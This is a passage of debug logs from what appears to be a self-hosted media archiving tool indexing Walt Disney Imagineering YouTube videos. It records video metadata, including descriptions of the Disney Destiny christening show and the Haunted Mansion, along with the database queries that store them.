made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "filename" => "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", "id" => "FFKBtnLo0mc", "original_url" => "https://www.youtube.com/watch?v=FFKBtnLo0mc", "playlist_index" => 13, "title" => "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "upload_date" => "20251111"} 18:55:24.693 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:24.693 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:24.694 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 00:00:00Z], 2] 18:55:24.696 [debug] QUERY OK source="media_items" db=1.5ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "2061959f-b4a3-4871-b2b3-a4b395dbd0eb", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", false, false, 13, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, false, 2, [], 98, ~U[2025-11-11 00:00:00Z], ~U[2026-03-30 22:55:24Z], ~U[2026-03-30 22:55:24Z], "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", nil, false, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, 2, ~U[2025-11-11 00:00:00Z]] 18:55:24.696 [debug] QUERY OK source="sources" db=0.1ms idle=97.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:24.697 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:24.697 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2719] 18:55:24.697 [debug] Current batch of media processed. Will check again in 1000ms 18:55:25.699 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "filename" => "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", "id" => "endLo0NqGaw", "original_url" => "https://www.youtube.com/watch?v=endLo0NqGaw", "playlist_index" => 14, "title" => "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "upload_date" => "20251031"} 18:55:25.699 [debug] QUERY OK source="sources" db=0.2ms idle=98.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:25.700 [debug] QUERY OK source="sources" db=0.1ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:25.700 [debug] QUERY OK source="media_items" db=0.5ms idle=1.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-31 00:00:00Z], 2] 18:55:25.703 [debug] QUERY OK source="media_items" db=1.8ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "3a934c1b-4ec2-477e-b942-4b03f0cd4bf0", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", false, false, 14, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, false, 2, [], 98, ~U[2025-10-31 00:00:00Z], ~U[2026-03-30 22:55:25Z], ~U[2026-03-30 22:55:25Z], "Welcome, foolish mortals! 👻 Join Disney Imagineers for an exclusive walking tour of The Haunted Mansion at Walt Disney World. Discover the secrets behind this iconic attraction—first opened at Disneyland in 1969—and learn why it remains a timeless classic filled with spooky illusions, theatrical magic, and hauntingly perfect updates.\n\n✨ What makes this special?\n• From the analog staring bust illusion to the first documented use of projection mapping, Haunted Mansion showcases timeless effects and groundbreaking techniques that continue to inspire Imagineers\n• Props like authentic luggage, artificial foliage, and reactive animation bring scenes to life\n\n🎥 Behind-the-Scenes with Imagineers\nWED Walks and WED Rides allows you to learn more about our Disney attractions and experiences with the Imagineers who brought them to life!\n\n🔍 Explore More Episodes\n🚙 Test Track WED Rides with Disney Imagineers → \u00A0\u00A0\u00A0•\u00A0Test\u00A0Track\u00A0WED\u00A0Rides\u00A0with\u00A0Disney\u00A0Imagineers\u00A0\u00A0 \n🌼 Imagineer Stories at Journey of Water, Inspired by Moana → \u00A0\u00A0\u00A0•\u00A0Imagineer\u00A0Stories\u00A0at\u00A0Journey\u00A0of\u00A0Water,\u00A0Ins...\u00A0\u00A0\n🏚️ Haunted Mansion New Queue Landscaping Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Haunted\u00A0Mansion\u00A0New\u00A0Queue\u00A0Landscaping\u00A0Tour...\u00A0\u00A0\n🥣 Tiana's Bayou Adventure Queue Tour with an Imagineer → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Queue\u00A0Tour\u00A0with\u00A0an...\u00A0\u00A0\n🎉 Tiana's Bayou Adventure Ride-A-Long with Disney Imagineers! → \u00A0\u00A0\u00A0•\u00A0Tiana's\u00A0Bayou\u00A0Adventure\u00A0Ride-A-Long\u00A0with\u00A0D...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you spot the frog!\n\n#HauntedMansion #DisneyImagineering #WaltDisneyWorld", "Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes", "endLo0NqGaw", "https://www.youtube.com/watch?v=endLo0NqGaw", nil, false, "/downloads/Walt Disney Imagineering/2025-10-31 Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes/Haunted Mansion Secrets Revealed | Disney Imagineering Behind the Scenes [endLo0NqGaw].NA", false, 2, ~U[2025-10-31 00:00:00Z]] 18:55:25.703 [debug] QUERY OK source="sources" db=0.1ms idle=4.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:25.703 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:25.704 [debug] QUERY OK source="media_items" db=0.2ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2507] 18:55:25.704 [debug] Current batch of media processed. Will check again in 1000ms 18:55:26.705 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎃 Welcome to a special Halloween episode of Imagineer That! Ever wondered how Disney Imagineers make attractions look old, spooky, and authentically creepy? Join Tom Morrow 2.0 as he heads to The Twilight Zone Tower of Terror to uncover the secrets behind Disney’s incredible set decoration techniques—including a surprising tool: a web-shooting gun!\n\n✅ What you’ll learn in this episode:\n• How Imagineers create aged, eerie environments\n• Behind-the-scenes tricks used by Disney set decorators\n• Why details matter in immersive storytelling\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 👻 in the comments if you made it this far!\n\n#waltdisneyimagineering #imagineerthat #disneyhalloween", "filename" => "/downloads/Walt Disney Imagineering/2025-10-27 How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special/How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special [wkC-B7PNMCI].NA", "id" => "wkC-B7PNMCI", "original_url" => "https://www.youtube.com/watch?v=wkC-B7PNMCI", "playlist_index" => 15, "title" => "How do Disney Imagineers make things look old and creepy? | Imagineer That! Halloween Special", "upload_date" => "20251027"} 18:55:26.706 [debug] QUERY OK source="sources" db=0.2ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:26.707 [debug] QUERY OK source="sources" db=0.1ms 